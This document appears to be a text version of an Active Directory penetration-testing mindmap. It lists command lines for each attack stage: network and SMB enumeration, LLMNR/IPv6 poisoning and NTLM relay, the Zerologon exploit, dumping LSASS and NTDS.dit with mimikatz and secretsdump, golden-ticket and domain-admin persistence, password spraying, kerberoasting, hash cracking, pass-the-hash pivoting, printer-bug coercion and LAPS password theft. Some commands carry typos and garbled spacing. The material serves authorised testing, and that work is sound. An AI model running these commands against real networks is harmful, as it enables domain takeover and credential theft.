Pentesting active directory

no credentials

Scan Network
- find vulnerable host
  - cme smb <ip_ranges> # enumerate smb hosts
  - nmap -sP -p <ip> # ping scan
  - nmap -PN -vV --top-ports 50 --open <ip> # quick scan
  - nmap -PN --script smb-vuln* -p139,445 <ip> # search smb vuln
  - nmap -PN -sC -sV <ip> # classic scan
  - nmap -PN -sC -sV -p- <ip> # full scan
  - nmap -sU -sC -sV <ip> # udp scan

find AD IP
- nmcli dev show eth0 # show domain name & dns
- nslookup -type=SRV _ldap._tcp.dc._msdcs.// DOMAIN/

List guest access on smb share
- enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
- smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
- smbclient -U '%' -L //<dc-ip> && smbclient -U ' guest%' -L //<dc-ip>
- cme smb <ip> -u '' -p '' # enumerate null session
- cme smb <ip> -u 'a' -p '' # enumerate anonymous access

Enumerate ldap
- user found
  - nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>

Find user list
- user found
  - enum4linux -U <dc-ip> | grep 'user:'
  - crackmapexec smb <ip> -u <user> -p '< password>' --users
  - OSINT - enumerate username on internet
  - nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>', userdb=<users_list_files>" <ip>

poisoning
- unsigned SMB
  - find smb not signed
    - nmap -Pn -sS -T4 --open --script smb-security-mode -p445 A2DDRESS/MASK
    - use exploit/windows/smb/smb_relay
    - cme smb $hosts --gen-relay-list relay.txt
- user & hash found
  - responder -I eth0
  - mitm6 -d <domain>

CVE-2020-1472
- python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>
- secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME>\$@<IP> -no-pass -just-dc-user " Administrator"
- secretsdump.py -hashes :<HASH_admin> < DOMAIN>/Administrator@<IP>
- python3 restorepassword.py <target-ip <IP> < DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_BIOS_NAME> -hexpass <HEXPASS>

classic quick escalation methods

Low hanging fruit
- java rmi — exploit/multi/misc/java_rmi_server
- ms17-010 — exploit/windows/smb/ms17_010_eternalblue
- tomcat/jboss manager — auxiliary/scanner/http/tomcat_enum; exploit/multi/http/tomcat_mgr_deploy
- java serialized port — ysoserial
- vulnerable product with cve — searchsploit
- MS14-025
  - use scanner/smb/smb_enum_gpp
  - findstr /S /i cpassword \\<FQDN>\sysvol\< FQDN>\policies*.xml
- database credentials — use admin/mssql/mssql_enum_sql_logins

Privilege escalation

Low access
- privesc
  - search password files — findstr /si 'password' *.txt *.xml *.docx

got administrator access on one machine

Administrator access
- get credentials
  - procdump.exe -accepteula -ma lsass.exe lsass.dmp
  - mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
  - mimikatz "privilege::debug" "token::elevate" " sekurlsa::logonpasswords" "lsadump::sam" "exit"
  - post/windows/gather/smart_hashdump — hashdump
  - cme smb <ip_range> -u <user> -p <password> -M lsassy
  - cme smb <ip_ranges> -u <user> -p '<password>' --sam / --lsa / --ntds
- search password files — findstr /si 'password' *.txt *.xml *.docx
- search stored password — lazagne.exe all

got an admin access ?

Domain admin

Domain admin
- dump ntds.dit
  - crackmapexec smb 127.0.0.1 -u <user> -p < password> -d <domain> --ntds
  - secretsdump.py '<domain>/<user>:<pass>'@<ip>
  - ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
  - secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
- Child Domain to Forest Compromise - SID Hijacking
  - windows/gather/credentials/domain_hashdump
- Forest to Forest Compromise - Trust Ticket

Persistance

Persistance
- Golden ticket
  - ticketer.py -nthash <nthash> -domain-sid < domain_sid> -domain <domain> <user>
- net group "domain admins" myuser /add /domain
- ....

got username but no password

Got valid username
- Password spray
  - Get password policy
    - crackmapexec <IP> -u 'user' -p 'password' --pass-pol
    - enum4linux -u 'username' -p 'password' -P <IP>
  - cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # test user=password
  - cme smb <dc-ip> -u user.txt -p password.txt # multiple test (carefull of lock policy)
  - credentials found
- ASREPRoast
  - python GetNPUsers.py <domain>/ -usersfile < usernames.txt> -format hashcat -outputfile < hashes.domain.txt>
  - hash found

no smb signing / ipv6 enabled

relay
- responder -I eth0 # disable smb & http
- mitm6 -i eth0 -d <domain>
- ntlmrelayx.py -tf targets.txt
- ntlmrelayx.py -6 -wh Sattacker_ip -l /tmp -socks -debug

cracking hash

find hash
- crack hash
  - LM
    - john --format=lm hash.txt
    - hashcat -m 3000 -a 3 hash.txt
  - NTLM
    - john --format=nt hash.txt
    - hashcat -m 1000 -a 3 hash.txt
  - NTLMv1
    - john --format=netntlm hash.txt
    - hashcat -m 5500 -a 3 hash.txt
  - NTLMv2
    - john --format=netntlmv2 hash.txt
    - hashcat -m 5600 -a 0 hash.txt rockyou.txt

got credentials

Got one account on the domain
- Get all users
  - GetADUsers.py -all -dc-ip <dc_ip> <domain>/< username>
- enumerate SMB share — cme smb <ip> -u <user> -p <password> --shares
- bloodhound
  - bloodhound-python -d <domain> -u <user> -p < password> -gc <dc> -c all
- powerview / pyrwerview
- kerberoasting
  - find Service Principal Names that are associated with a normal user account (Kerberoasting)
  - GetUserSPNs.py -request -dc-ip <dc_ip> < domain>/<user>:<password>
  - hash found
- MS14-068
  - rpcclient $> lookupnames <name>
  - wmic useraccount get name,sid
  - auxiliary/admin/kerberos/ms14_068_kerberos_checksum

Pivoting to others computers

Pivoting
- pass the hash
  - psexec.py -hashes ":<hashs> <user>@<ip>
  - wmiexec.py -hashes ":<hashs> <user>@<ip>
  - atexec.py -hashes ":<hashs> <user>@<ip> " command"
  - evil-winrm -i <ip>/<domain> -u <user> -H < hash>
  - xfreerdp /u:<user> /d:<domain> /pth:<hash> / v:<ip>
- overpass the hash / pass the key (PTK)
  - python getTGT.py <domain>/<user> -hashes :< hashes>
  - export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
  - python psexec.py <domain>/<user>@<ip> -k -no-pass
- Unconstrained delegation
  - Get-NetComputer -Unconstrained
  - privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
- dcsync — lsadump::dcsync /domain:htb.local /user: krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
- WSUSpect — WSUSpendu.ps1 # need compromised WSUS server
- sccm — CMPivot
- MSSQL Trusted Links — use exploit/windows/mssql/mssql_linkcrawler
- Printers spooler service abuse
  - rpcdump.py <domain>/<user>:<password>@< domain_server> | grep MS-RPRN
  - printerbug.py '<domain>/<username>:< password>'@<Printer IP> <RESPONDERIP>
- AD acl abuse — aclpwn.py
  - GenericAll on User
  - GenericAll on Group
  - GenericAll / GenericWrite / Write on Computer
  - WriteProperty on Group
  - Self (Self-Membership) on Group
  - WriteProperty (Self-Membership)
  - ForceChangePassword
  - WriteOwner on Group
  - GenericWrite on User
  - WriteDACL + WriteOwner
- GPO Delegation
- get laps passwords
  - Get-LAPSPasswords -DomainController <ip, dc> -Credential <domain>\<login> | Format-Table -AutoSize
  - foreach ($objResult In $colResults){$ obj$Computer = $objResult.Properties; $ obj$Computer.name|where {$obj$computer.name - ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}